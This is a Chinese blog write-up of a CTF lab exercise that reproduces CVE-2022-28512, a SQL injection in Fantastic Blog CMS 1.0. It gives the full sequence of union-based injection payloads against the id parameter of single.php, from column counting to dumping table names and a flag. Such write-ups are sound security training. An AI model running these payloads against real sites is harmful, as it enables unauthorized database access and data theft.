春秋云境靶场CVE-2022-28512漏洞复现(sql手工注入)

文章目录

  • 前言
  • 一、CVE-2022-28512靶场简述
  • 二、找注入点
  • 三、CVE-2022-28512漏洞复现
    • 1、判断注入点
    • 2、爆显位个数
    • 3、爆显位位置
    • 4 、爆数据库名
    • 5、爆数据库表名
    • 6、爆数据库列名
    • 7、爆数据库数据
  • 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、CVE-2022-28512靶场简述

Sourcecodester Fantastic Blog CMS 1.0 中存在一个 SQL 注入漏洞。攻击者可以通过“id=5”参数在“/fantasticblog/single.php”中注入查询。
春秋云境靶场CVE-2022-28512漏洞复现(sql手工注入)_第1张图片

二、找注入点

Fantastic Blog (CMS)是一个绝对出色的博客/文章网络内容管理系统。它使您可以轻松地管理您的网站或博客,它为您提供了广泛的功能来定制您的博客以满足您的需求。它具有强大的功能,您无需接触任何代码即可启动并运行您的博客。 该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。
我们就尝试找single.php的界面。
打开发现是有一个登录框,和一个登录注册。但是登录框是search.php,而且尝试sql注入也是无果。(如图所示)

点开图片发现跳转到single.php界面,成功找到注入地方(如图所示)
春秋云境靶场CVE-2022-28512漏洞复现(sql手工注入)_第2张图片

三、CVE-2022-28512漏洞复现

  • 1、判断注入点
  • 2、爆显位个数
  • 3、爆显位位置
  • 4、爆数据库名
  • 5、爆数据库表名
  • 6、爆数据库列名
  • 7、爆数据库数据

1、判断注入点

(如图所示)这里我们老规矩抛出and 1=1 和 and 1=2测试。发现页面依旧正常,排除数字型。直接提交3’发现报错,报错信息为

You have an error in your SQL syntax; check the manual that
corresponds to your MariaDB server version for the right syntax to use
near ‘‘3’’’ at line 1

春秋云境靶场CVE-2022-28512漏洞复现(sql手工注入)_第3张图片
通过报错信息可以知道是单引号闭合,这里构造的payload为

id=3'--+

2、爆显位个数

注入语句为

id=3' order by 9--+

发现为10的时候报错,那么显位个数是9了。
春秋云境靶场CVE-2022-28512漏洞复现(sql手工注入)_第4张图片

3、爆显位位置

注入语句为

id=-3' union select 1,2,3,4,5,6,7,8,9--+

发现有4可以注入,我就在4注入了

4 、爆数据库名

注入语句为

id=-3' union select 1,2,3,database(),5,6,7,8,9--+

得到数据库ctf

5、爆数据库表名

注入语句为

id=-3' union select 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables where table_schema=database()--+


得到数据库表名
titles,page_hits,membership_userpermissions,membership_groups,blog_categories,membership_userrecords,membership_users,editors_choice,blogs,links,flag,banner_posts,membership_grouppermissions,visitor_info
关键表名是flag

6、爆数据库列名

注入语句为

id=-3' union select 1,2,3,group_concat(column_name),5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name="flag"--+

得到列名flag

7、爆数据库数据

注入语句为

id=-3' union select 1,2,3,group_concat(flag),5,6,7,8,9 from flag --+


得到flag
flag{6bf76a30-c821-429b-b2e7-03b6068cdf36}


总结

这一关的信息收集比较简单,一下子找到注入点了。这是一个简单的单引号闭合简单注入,极其简单。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

你可能感兴趣的:(web安全,sql)